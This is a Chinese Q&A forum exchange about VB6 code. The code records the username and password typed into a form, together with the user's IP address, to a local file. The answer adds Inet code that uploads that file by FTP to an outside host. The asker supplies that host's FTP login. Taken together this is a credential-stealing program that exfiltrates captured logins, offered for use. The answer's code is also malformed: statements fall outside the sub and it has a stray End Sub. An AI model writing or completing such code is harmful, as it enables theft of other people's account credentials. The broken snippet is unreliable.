VB6上传FTP空间

请高手根据我的代码改一下

Private Sub Command1_Click()
Open "C:\1.txt" For Append As #1
Print #1, "用户名："; Text1.Text, "密码："; Text2.Text, "来自于："; Winsock1.LocalIP, ""
Close #1
End Sub

输入完用户名和密码后c:\1.txt

上传到 http://12333.ggxx.com

ftp帐号12333

ftp密码12333

Private Sub Command1_Click()
Open "C:\1.txt" For Append As #1
Print #1, "用户名："; Text1.Text, "密码："; Text2.Text, "来自于："; Winsock1.LocalIP, ""
Close #1
End Sub
Inet1.URL = "" ' ftp地址
Inet1.Protocol = 2
Inet1.UserName = "" '用户名
Inet1.Password = "" ' 密码
Inet1.Execute , "PUT " & "c:\1.txt" & " 1.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
MsgBox "OK啦!", vbInformation, "提示"
End Sub

自已测试吧

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息